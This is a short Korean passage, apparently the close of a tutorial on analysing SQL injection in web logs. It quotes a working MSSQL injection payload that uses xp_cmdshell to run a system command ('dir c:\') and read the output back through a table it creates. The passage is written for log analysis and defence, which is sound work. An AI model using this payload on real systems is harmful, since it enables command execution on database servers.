실제로 파라미터 값을 통해 시스템 명령이 실행돼도 웹 응답 코드는 500으로 표기 될 수 있다.
– Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell “dir c:\”– – select top 1 char(94)+cast(ComResult as varchar(8000))+char(94) from ( select top 1 ComResult from [comd_list] order by ComResult desc ) as as_TableName order by ComResult asc
사용되는 공격도구에 따라 로그에 발생하는 패턴이나 SQL 구문은 차이가 조금씩 발생한다. 기본적인 공격 원리에 대한 이해를 통해 공격 로그 분석 시 시스템 영향을 분석한다.
SQL Injection 공격의 시스템 피해 유형과 로그 분석을 위한 주요 공격 패턴에 대해서 살펴 보았다.